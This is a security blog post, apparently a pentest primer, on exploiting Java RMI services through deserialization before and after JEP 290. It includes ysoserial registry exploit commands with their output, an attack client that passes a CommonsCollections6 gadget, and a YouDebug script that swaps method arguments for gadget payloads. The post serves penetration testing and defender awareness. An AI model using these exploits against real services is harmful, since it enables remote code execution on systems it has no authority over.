Attacking Java RMI services after JEP 290

An attack primer on how to attack Java RMI services using Java deserialization

TL:DR: The introduction of JEP 290 killed the known RMI exploits in ysoserial. However, you can still exploit Java deserialization on the application level if no global filter is active. The article shows you how to replace those methods on the fly, using the scriptable debugger YouDebug.

As Java RMI (Remote Method Invocation) is based on native Java deserialization, they became one of the major victims of the Java Deserialization Appocalype. This changed with the implementation of JEP 290 in current JDK releases. This blog post describes the changes and describes ways how Java deserialization could still be used on the application level to exploit those services.

This post is an extension to my talk at Bsides Munich 2019, you can get the slides and the example code from our GitHub page. While I try to provide a quick overview over RMI, a basic understanding of RMI and Java deserialization certainly helps. It also does not cover JMX over RMI which is one of the major use cases for RMI, even in modern environments, we will cover that in a second post.

Standing on the shoulders of giants

This blog post would not be possible without the work of others:

  • Chris Frohoff and all ysoserial contributors
    ysoserial is tool that I reguarly uses in penetration tests (and for this post) and studying the code greatly helped to understand the deserializtation topic.
  • Moritz Bechler
    Besides his awesome payloads Moritz also contributed two RMI related exploits to ysoserial.
  • Matthias Kaiser
    I had the opportunity to work with Matthias at my former employer. During that time I learned a lot from Matthias, including how to use a debugger to analyze Java targets. He also contributed the CommonsCollections6 gadget which I frequently use during assessments.
  • Nicky Bloor
    Nicky Bloor gave a talk about exploiting Java RMI services at 44con 2016 which was very useful for the prepartion of this post. He further developed a tool called BaRMIe.

RMI Fundamentals

I start by providing a quick overview of Java RMI for those that have no Java background. Fell free to skip it and go directly to the “attack” section of this post.

Java RMI is the Java version of Distributed object communication and is mainly used to implement client-/server applications like Java based Fat-Clients. Like most implementations, Java is using stubs and skeletons to do this. To create those stubs and skeletons, Java requires that the service must define an interface which extends the Remote interface. For my Bsides presentation, I implemented a very basic example service with the following interface.

package de.mogwailabs.BSidesRMIService;

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IBSidesService extends Remote {
   boolean registerTicket(String ticketID) throws RemoteException;
   void vistTalk(String talkname) throws RemoteException;
   void poke(Object attende) throws RemoteException;
}

This interface must be known by the client and the server. While the client will work with an autogenerated stub, the server must provide the actual implementation for the interface. Again, here a minimal example.

package de.mogwailabs.BSidesRMIService;

import java.rmi.RemoteException;
import java.rmi.server.RemoteObject;
import java.rmi.server.UnicastRemoteObject;

public class BSidesServiceServerImpl extends UnicastRemoteObject  implements IBSidesService  {

	public BSidesServiceServerImpl() throws RemoteException {}
	
	public boolean registerTicket(String ticketID) throws RemoteException {
		System.out.println("registerTicket called: " + ticketID);
		return false;
	}

	public void vistTalk(String talkname) throws RemoteException {
		System.out.println("visitTalk called: " + talkname);
	}

	public void poke(Object attende) throws RemoteException {
		System.out.println("poking " + attende.toString());
	}
}

To make this implementation accessible over the network, the server must register a service instance under a name in a RMI Naming Registry. You can compare the registry to a phone book or DNS server. The service instance gets registered under a certain name (“bsides” in the example). Clients can query the register to get a reference for the serve-side object and which interfaces its implements. Most RMI services use the default port (TCP 1099) for the naming registry but an arbitrary port can be used.

While it is possible to use an already existing naming registry, the server can also start its own instance. Registration of objects is done using the “bind” or “rebind” methods. Again, here the minimal example for the BSides RMI service.

package de.mogwailabs.BSidesRMIService;

import java.rmi.Naming;
import java.rmi.registry.LocateRegistry;

public class BSidesServer {
	public static void main(String[] args) {
		try {
			// Create new RMI registry to which we can register
			LocateRegistry.createRegistry(1099);

			// Make our BSides Server object 
			// available under the name "bsides"
			Naming.bind("bsides", new BSidesServiceServerImpl()); 
			System.out.println("BSides RMI server is ready");
		
		} catch (Exception e) {
			// In case of an error, print the stacktrace 
			// and bail out
			e.printStackTrace();
		} 
	}
}

This is everything we need on the server side. As a basic test we can use nmap to check if the service is accessible over the network. Nmap provides a very useful “rmi-dumpregistry” script that returns an overview of all services known by the registry. This includes the following information:

  • The name that was used to register the object (“bsides)
  • What interfaces the object implements (de.mogwailabs.BsidesRMIService.IBSidesService)
  • At which IP/port the actual skeleton can be accessed (10.165.188.25:43229)
nmap 10.165.188.25 -p 1099 -sVC

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-09 19:26 CET
Nmap scan report for 10.165.188.25
Host is up (0.00028s latency).

PORT     STATE SERVICE  VERSION
1099/tcp open  java-rmi Java RMI Registry
| rmi-dumpregistry: 
|   bsides
|      implements java.rmi.Remote, de.mogwailabs.BSidesRMIService.IBSidesService, 
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @10.165.188.25:43229
|             extends
|_              java.rmi.server.RemoteObject

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds

By default, Java uses a random port for the actual RMI service, making Java RMI a nightmare for firewall administrators. If we do a service scan on the port that was returned by the registry with nmap, we get a “Java RMI” service as shown here:

nmap 10.165.188.25 -p 43229 -sVC

Starting Nmap 7.60 ( https://nmap.org ) at 2019-03-09 19:27 CET
Nmap scan report for 10.165.188.25
Host is up (0.00040s latency).

PORT      STATE SERVICE     VERSION
43229/tcp open  rmiregistry Java RMI

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.93 seconds

Here a minimal client implementation. The client first connects to the RMI naming registry, queries the naming registry for the “bsides” service and then interacts with the returned stub by calling methods that are provided by the interface.

package de.mogwailabs.BSidesRMIService;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BSidesClient {

	public static void main(String[] args) {

		try {
			String serverIP = args[0];
			int serverPort = 1099;
			
			// Lookup the remote object that is registered as "bsides"
			Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
			IBSidesService bsides = (IBSidesService) registry.lookup("bsides");

			// calling server side methods...
			System.out.println("Calling bsides.registerTicket()");
			bsides.registerTicket("123456");
			System.out.println("Calling bsides.visitTalk()");
			bsides.vistTalk("Exploiting Java RMI services");

		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

As you can see, the client needs to have the Interface definition. In a real world application, the client also needs some additional classes, for example if the method call accepts custom objects as parameters.

If the RMI service is used by some sort of Fat-Client, you can usually find the client somewhere, for example on a web service of the RMI server.

Attacking RMI services on the application level

The RMI standard by itself not provide any form of authentication. This is therefore often implemented on the application level, for example by providing a “login” method that can be called by the client. This moves security to the (attacker controlled) client, which is always a bad idea.

An attacker that knows the interface of the service can implement his own custom client to skip the authentication and directly call other methods. In the following example, the client does not call the registerTicket method and directly visits the super exiting talk “Exploiting Java RMI services”.

package de.mogwailabs.BSidesRMIService;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class BSidesClient {

	public static void main(String[] args) {

		try {
			String serverIP = args[0];
			int serverPort = 1099;
			
			// Lookup the remote object that is registered as "bsides"
			Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
			IBSidesService bsides = (IBSidesService) registry.lookup("bsides");

			// calling server side methods...
			// Skip the Ticket registration, as we don't have one
			// bsides.registerTicket("123456");
			System.out.println("Calling bsides.visitTalk()");
			bsides.vistTalk("Exploiting Java RMI services");

		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

Depending on the target application, the attacker could of course also call other functions with his custom client. This largely depends on the methods that are made available by the remote server and which arguments they require.

Attacking RMI services using Java Deserialization (before JEP 290)

As RMI services are based on Java Deserialization, they can be exploited if a valid gadget is available in the classpath of the service. The security researcher Moritz Bechler already demonstrated this in 2016 by adding two exploits to the Ysoserial toolkit.

  • RMIRegistryExploit
    The RMI registry exploit works by sending a malicious serialized object as parameter to the “bind” method of the Naming registry.

  • JRMPClient
    The JRMP Client exploit targets the remote DGC (Distributed Garbage Collection) which is implemented by every RMI listener. This can be run against any RMI listener, not just the RMI naming registry.

Both exploits work very reliable if a valid gadget chain exists on the target. The RMIRegistryExploit has the advantage that it prints the exception that gets returned by the server. This can be used to verify if the target has the used gadget in its classpath or not. The returned exception can also be abused to pwn the attacker, as it gets deserialized by ysoserial but that is another story.

The following shortened example shows the execution of the exploit against the naming registry of the Bsides service, using the Groovy gadget. The Bsides service does not have the Groovy gadget in his classpath, hence a “class not found” exception is returned.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.165.188.25 1099 Groovy1 "touch /tmp/xxx"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419) 
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)    
        at sun.rmi.transport.Transport$2.run(Transport.java:202)                                        
        at sun.rmi.transport.Transport$2.run(Transport.java:199)                   
        at java.security.AccessController.doPrivileged(Native Method)           
        at sun.rmi.transport.Transport.serviceCall(Transport.java:198)                     
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)                                                    
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
        at java.lang.Thread.run(Thread.java:745)                                           
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)        
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)                            
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:85)        
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:79)        
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:79)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:73)                                                          
Caused by: java.rmi.UnmarshalException: error unmarshalling arguments; nested exception is:
        java.lang.ClassNotFoundException: org.codehaus.groovy.runtime.ConvertedClosure (no security manager: RMI class loader disabled)

In contrast, the same example with a successful deserialization of CommonsCollections6. I bundled the RMI service with CommonsCollections 3.1, therefore this gadget chain works here.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.165.188.25 1099 CommonsCollections6 "touch /tmp/xxx"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is:
        java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:419)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:267)
        at sun.rmi.transport.Transport$2.run(Transport.java:202)
        at sun.rmi.transport.Transport$2.run(Transport.java:199)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:198)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:567)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:828)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.access$400(TCPTransport.java:619)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:684)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$1.run(TCPTransport.java:681)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:681)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
        at java.lang.Thread.run(Thread.java:745)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:85)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:79)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:79)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:73)
Caused by: java.rmi.AccessException: Registry.Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:257)

JEP 290

To address the risk of insecure deserialization, Oracle made several changes in the Java core. The most significant ones were introduced in the Java Enhancement Process (JEP) document 290, (JEP 290 for short). JEP is part of JDK9 but has been backported to older Java versions:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP 290 introduced the concept of look ahead deserialization by adding multiple serialization filters to Java. These filters allow the process to screen incoming streams of serialized objects before they are deserialized. You can get a good overview of those filters in this blog post from Red Hat or the official Oracle documentation.

Filters can be defined as patterns or by providing an implementation of the ObjectInputFilter API. Pattern based filters have the advantage that you can define them in a configuration file or at the command-line, so they can be adjusted without recompiling the application. However, they also have some disadvantages, for example they don’t have a state that would allow you to make choices on earlier classes in the stream. All filters can work as white-list or black-list filters.

Here some pattern-based examples (taken from the RedHat article):

// this matches a specific class and rejects the rest
"jdk.serialFilter=org.example.Vehicle;!*" 

 // this matches all classes in the package and all subpackages and rejects the rest 
- "jdk.serialFilter=org.example.**;!*" 

// this matches all classes in the package and rejects the rest 
- "jdk.serialFilter=org.example.*;!*" 

 // this matches any class with the pattern as a prefix
- "jdk.serialFilter=*;"

Process-wide filters
As the name suggests, process-wide filters apply to every use of ObjectInputStream (unless it is overridden on a specific stream). You can pass a process wide serial filter as command line argument ("-Djdk.serialFilter=") or setting it as a system property in $JAVA_HOME/conf/security/java.security.

While it is possible to configure a process-wide filter on a white-list basis, this is often difficult to archive as the developers must identify all classes that are required by the application. From the Oracle documentation:

Typically, process-wide filters are used to reject specific classes or packages, or to limit array sizes, graph depth, or total graph size.

Custom filters
It is possible to overwrite the process-wide filter for a specific stream with a custom filter. This is useful if the developer has a to get objects from an ObjectInputStream and can narrow down the expected objects to specific classes/packages.

Custom filters are created as ObjectInputFilter instances and also supports patterns. Here minimal example that works as a white-list. Only classes from the package de.mogwailabs.Example are accepted, everything else gets rejected:

ObjectInputFilter filesOnlyFilter = ObjectInputFilter.Config.createFilter("de.mogwailabs.Example;!*");

When it comes to RMI, custom filters are not really relevant. The developer of the RMI service never calls readObject on the RMI-stream as this is done by the Java RMI implementation.

Build-in Filters
The JDK includes build in filters for the RMI registry and the RMI Distributed Garbage Collector. Both filters are configured as white-lists that only allow specific classes to be deserialized. These two filters directly affect attackers as they are deployed with a update of the java version and the kill Moritz Bechlers RMI exploits.

If you try to run the naming registry exploit against a registry running on a JDK version that implements JEP 290, you always get the same error message, regardless if the gadget exists in the classpath of the target or not. If the gadget exists, the payload object gets not deserialized.

Here an example, using the Clojure gadget against a RMI service that runs on OpenJDK 10.

java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 10.165.188.117  1099 Clojure "touch /tmp/savetest"
java.rmi.ServerException: RemoteException occurred in server thread; nested exception is: 
        java.rmi.AccessException: Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:391)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
        at java.lang.Thread.run(Thread.java:844)
        at sun.rmi.transport.StreamRemoteCall.exceptionReceivedFromServer(StreamRemoteCall.java:283)
        at sun.rmi.transport.StreamRemoteCall.executeCall(StreamRemoteCall.java:260)
        at sun.rmi.server.UnicastRef.invoke(UnicastRef.java:375)
        at sun.rmi.registry.RegistryImpl_Stub.bind(RegistryImpl_Stub.java:68)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:77)
        at ysoserial.exploit.RMIRegistryExploit$1.call(RMIRegistryExploit.java:71)
        at ysoserial.secmgr.ExecCheckingSecurityManager.callWrapped(ExecCheckingSecurityManager.java:72)
        at ysoserial.exploit.RMIRegistryExploit.exploit(RMIRegistryExploit.java:71)
        at ysoserial.exploit.RMIRegistryExploit.main(RMIRegistryExploit.java:65)
Caused by: java.rmi.AccessException: Registry.bind disallowed; origin /10.165.188.1 is non-local host
        at sun.rmi.registry.RegistryImpl.checkAccess(RegistryImpl.java:358)
        at sun.rmi.registry.RegistryImpl_Skel.dispatch(RegistryImpl_Skel.java:69)
        at sun.rmi.server.UnicastServerRef.oldDispatch(UnicastServerRef.java:467)
        at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:297)
        at sun.rmi.transport.Transport$1.run(Transport.java:200)
        at sun.rmi.transport.Transport$1.run(Transport.java:197)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.Transport.serviceCall(Transport.java:196)
        at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:562)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:796)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:677)
        at java.security.AccessController.doPrivileged(Native Method)
        at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:676)
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1135)
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635)
        at java.lang.Thread.run(Thread.java:844)

Detecting JEP 290 services over RMI

The fact that the build-in RMI filters are designed as white list filters allows a remote detection of JEP 290. For example, the attacker can just pass a random object/payload that does not exist on the server side and analyze the returned stack trace.

If the attacker is confident that the target is able to resolve external DNS names, he can also try to use the URLDNS gadget from ysoserial. This gadget is available in all Java versions and causes the server to resolve a DNS name.

As the number of gadgets is limited, detecting JEP 290 installation only provides a limited benefit for an attacker. After all he could just go script-kiddy style and simply try out all available gadgets against the target. However, this provides a nice “remote” way for defenders to detect if they have RMI services that use an outdated Java version.

An Trinhs RMI Registry Bypass

In 2019, An Trinh discovered a bypass gadget in the filter settings for the RMI Registry. The bypass gadget basically allows you to create an outgoing JRMP connection, which can then be used for deserialization attacks. We won’t describe it here, as we created a dedicated blog post for this gadget.

Exploiting deserialization on the application level

While it is no longer possible to exploit Java deserialization on the RMI registry or DGC, it is still possible to exploit these vulnerabilities on the application level as long as no process-wide filters have been set. The “best case” scenario is a method that allows the attacker to pass an abitrary object to the server. In the case of the Bsides RMI service, the “poke” method could be used:

   void poke(Object attende) throws RemoteException;

Again, an attacker that has access to the interface could write a custom client. This time, the attacker creates a malicious Java object using the code from ysoserial and passes it to the server by calling the “poke” method:

package de.mogwailabs.BSidesRMIService;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections6;

public class AttackClient {

	public static void main(String[] args) {

		try {
			String serverIP = args[0];
			int serverPort = 1099;
			
			// Lookup the remote object that is registered as "bsides"
			Registry registry = LocateRegistry.getRegistry(serverIP, serverPort);
			IBSidesService bsides = (IBSidesService) registry.lookup("bsides");

			// create the malicious object via ysososerial
			Object payload = new CommonsCollections6().getObject(args[2]);
			
			// pass it to the target by calling the Poke method
			bsides.poke(payload);
			
		} catch (Exception e) {
			e.printStackTrace();
		}
	}
}

A real world scenario for this case is CVE-2018-4939, a vulnerability in the RMI service of Adobe ColdFusion which was found by Nicky Bloor. He also provides an detailed write up for this vulnerability. Another example is the Spring Framework RmiInvocationHandler where it is possible to pass arbitrary objects to the RemoteInvocation class.

“Bypassing” type safety

Unfortunately, most interfaces don’t provide methods that accept an arbitrary object as argument. Most methods only accept native types like Integer, Long or a class instance. In the later case is possible to bypass this limitation due to the way how RMI is implemented on the server side:

When a RMI client invokes a method on the server, the method “marshalValue” gets called in sun.rmi.server.UnicastServerRef.dispatch, to read the method arguments from the Object input stream.

// unmarshal parameters
Class<?>[] types = method.getParameterTypes();
Object[] params = new Object[types.length];

try {
    unmarshalCustomCallData(in);
    for (int i = 0; i < types.length; i++) {
        params[i] = unmarshalValue(types[i], in);
}

Here the actual code of “unmarshalValue” (from “sun.rmi.server.UnicastRef”). Depending on the expected argument type, the method reads the value from the object stream. If we don’t deal with a primitive type like an Integer readObject() is called, allowing to exploit Java deserialization.

    /**
     * Unmarshal value from an ObjectInput source using RMI's serialization
     * format for parameters or return values.
     */
    protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else {
            return in.readObject();
        }
}

Update from June 26, 2020

In January 2020 the unmarshalValue method was changed. Here is the code of the updated version of unmarshalValue().

    /**
     * Unmarshal value from an ObjectInput source using RMI's serialization
     * format for parameters or return values.
     */
    protected static Object unmarshalValue(Class<?> type, ObjectInput in)
        throws IOException, ClassNotFoundException
    {
        if (type.isPrimitive()) {
            if (type == int.class) {
                return Integer.valueOf(in.readInt());
            } else if (type == boolean.class) {
                return Boolean.valueOf(in.readBoolean());
            } else if (type == byte.class) {
                return Byte.valueOf(in.readByte());
            } else if (type == char.class) {
                return Character.valueOf(in.readChar());
            } else if (type == short.class) {
                return Short.valueOf(in.readShort());
            } else if (type == long.class) {
                return Long.valueOf(in.readLong());
            } else if (type == float.class) {
                return Float.valueOf(in.readFloat());
            } else if (type == double.class) {
                return Double.valueOf(in.readDouble());
            } else {
                throw new Error("Unrecognized primitive type: " + type);
            }
        } else if (type == String.class && in instanceof ObjectInputStream) {
            return SharedSecrets.getJavaObjectInputStreamReadString().readString((ObjectInputStream)in);
        } else {
            return in.readObject();
        }
    }

The Java developers added an additional check/support for String objects. Thus the the technique that is described in the following part of this post does no longer work against methods, which are accepting String objects as arguments. Methods that accept other classes as argument will still be exploitable.

This change was applied in the following version:

  • Java™ SE Development Kit 8, Update 242 (JDK 8u242-b07)
  • Java™ SE Development Kit 11.0.6 (build 11.0.6+10)
  • Java™ SE Development Kit 13.0.2 (build 13.0.2+5)
  • Java™ SE Development Kit 14.0.1 (build 14.0.1+2)

Java version 9, 10 and 12 were not updated.


As the attacker has full control over the client, he can replace an argument that derives from the Object class (for example a String) with a malicious object. There are several ways to archive this:

  • Copy the code of the java.rmi package to a new package and change the code there
  • Attach a debugger to the running client and replace the objects before they are serialized
  • Change the bytecode by using a tool like Javassist
  • Replace the already serialized objects on the network stream by implementing a proxy

Nicky Bloor toke the last approach when he wrote the BaRMIe attack toolkit. BaRMIe provides an “attack proxy” class that can use to intercept RMI calls on the network level and injecting the ysoserial gadget via search/replace. This is awesome work, but the approach has some downsides:

  • The Java serialization protocol is quite complex, making it very difficult to “just replace” objects. Depending on the serialized objects, it might be necessary to update additional references in gadget or the network stream, making the entire process error prone.
  • BaRMie uses a set of “hardcoded” ysoserial gadgets which are stored as pre-serialized objects. It is not possible to directly use an arbitrary Gadget that was generated by ysoserial. Adding new gadgets is also not an easy tasks. We at MOGWAI LABS use a customized version of ysoserial, which we would also like to use in our attack.

I therefore decided to look for another way to solve this issue. When I talked with Matthias Kaiser about this, he pointed out that Eclipse (and all other Java IDEs) use the Java Debugging Interface (JDI).

YouDebug

While I was looking for JDI code samples I stumbled across YouDebug written by Kohsuke Kawaguchi, the creator of the Jenkins project. YouDebug provides a Groovy wrapper for JDI so that it can be easily scripted. Using YouDebug is very similar to other DI frameworks like Frida. There are many interesting use cases for YouDebug, if you are doing penetration tests on a regular basis you should definitly add it to your toolset.

Now that we have a scriptable debugger, we need a method in the client were we can set a breakpoint to intercept the communication. A good candidate is “invokeRemoteMethod” from the class “java.rmi.server.RemoteObjectInvocationHandler”. As the name suggests, this method is responsible for calling the method on the server and already receives the method arguments as an object array.


    /**
     * Handles remote methods.
    **/
    private Object invokeRemoteMethod(Object proxy,
                                      Method method,
                                      Object[] args)
        throws Exception
    {
        try {
            if (!(proxy instanceof Remote)) {
                throw new IllegalArgumentException(
                    "proxy not Remote instance");
            }
            return ref.invoke((Remote) proxy, method, args,
                              getMethodHash(method));
        } catch (Exception e) {
            if (!(e instanceof RuntimeException)) {
                Class<?> cl = proxy.getClass();
                try {
                    method = cl.getMethod(method.getName(),
                                          method.getParameterTypes());
                } catch (NoSuchMethodException nsme) {
                    throw (IllegalArgumentException)
                        new IllegalArgumentException().initCause(nsme);
                }
                Class<?> thrownType = e.getClass();
                for (Class<?> declaredType : method.getExceptionTypes()) {
                    if (declaredType.isAssignableFrom(thrownType)) {
                        throw e;
                    }
                }
                e = new UnexpectedException("unexpected exception", e);
            }
            throw e;
        }
}

In our case, we want to replace the parameters that are passed to an RMI call before they get serialized by the client. This can be done as follows:

  1. Make sure that the ysoserial gadget class that we want to use is loaded by the debuggee
  2. Set a breakpoint at the first line of “java.rmi.server.RemoteObjectInvocationHandler.invokeMethod”.
  3. Create a object instance of the ysoserial gadget in the debuggee
  4. Check the array in the third method parameter.
  5. If it contains an instance of a class based object (for example String), replace the parameter with our gadget.

As already pointed out, using YouDebug makes this task a breeze that can be implemented with a few lines of code. The following example script searches all arguments for a specific “needle” string and replaces this object with the ysoserial gadget. However, it would be possible to use any method that accepts an object as argument, not just a string.

// Unfortunately, YouDebug does not allow to pass arguments to the script
// you can change the important parameters here
def payloadName = "CommonsCollections6";
def payloadCommand = "touch /tmp/pwn3d_by_barmitzwa";
def needle = "12345"

println "Loaded..."

// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replace the object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {

  println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"

  // make sure that the payload class is loaded by the classloader of the debugee
  vm.loadClass("ysoserial.payloads." + payloadName);

  // get the Array of Objects that were passed as Arguments
  delegate."@2".eachWithIndex { arg,idx ->
     println "[+] Argument " + idx + ": " + arg[0].toString();
     if(arg[0].toString().contains(needle)) {
        println "[+] Needle " + needle + " found, replacing String with payload" 
		// Create a new instance of the ysoserial payload in the debuggee
        def payload = vm._new("ysoserial.payloads." + payloadName);
        def payloadObject = payload.getObject(payloadCommand)
	   
        vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);
        println "[+] Done.."	
     }
  }
}

To make everything work, we must make some small modifications on the client:

Add ysoserial.jar to the client classpath
The YouDebug script creates a new instance of a ysoserial gadget in the client, therefore the client must know these classes. If the client contains a “lib” folder, it is often sufficient to just copy the ysoserial.jar to that folder. It is also possible to adjust the class path with the “-cp” argument when the client gets started:

-cp "./libs/*"

Enabling remote debugging support
The client must be started with remote debugging support. This can be done by adding the following arguments to the java command that starts the client:

-agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000

Here the full java command for my demo client (I moved all jar files into the “libs” directory). The client will wait until you connect to port 8000 with the YouDebug script.

java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp "./libs/*" de.mogwailabs.BSidesRMIService.BSidesClient 10.165.188.117
Listening for transport dt_socket at address: 8000

Finally, here the output from the YouDebug script. I call it barmitzwa.groovy”

java -jar youdebug-1.5.jar -socket 127.0.0.1:8000 barmitzwa.groovy 
Loaded...
[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called
[+] Argument 0: 123456
[+] Needle 12345 found, replacing String with payload
[+] Done..

When the object is replaced, the client prints an “argument type exception” that was returned by the server. But this is expected. When the exception is thrown, our malicious object has already been deserialized on the server side:

